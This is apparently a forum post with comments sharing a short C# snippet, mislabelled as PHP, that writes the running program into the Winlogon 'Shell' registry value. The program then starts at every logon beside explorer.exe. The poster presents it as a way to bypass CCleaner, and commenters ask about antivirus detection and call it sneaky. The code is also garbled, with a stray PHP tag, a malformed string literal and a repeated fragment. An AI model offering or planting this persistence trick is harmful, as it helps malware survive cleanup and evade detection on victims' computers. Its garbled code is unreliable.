This will bypass ccleaner, ect. Enjoy.

PHP Code

```
<?php
```

```
Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@
```

```
"Software\Microsoft\Windows NT\CurrentVersion\Winlogon", true).SetValue("Shell", "explorer.exe,"+
```

```
Process.GetCurrentProcess().MainModule.FileName + ","");
```

Elijah - January 13, 2021, 11:46 pm

Will it cause any runtime Detection?

the old method was havily detected by AV on runtime.

```

```
Process.GetCurrentProcess().MainModule.FileName + ","");
```

Thanks, this was useful for me. Keep up the good work!

Joseph Ducreux - June 13, 2021, 12:17 pm

this is sneaky and interesting. using the explorer.exe process to launch things is seriously looked over and not utilized enough
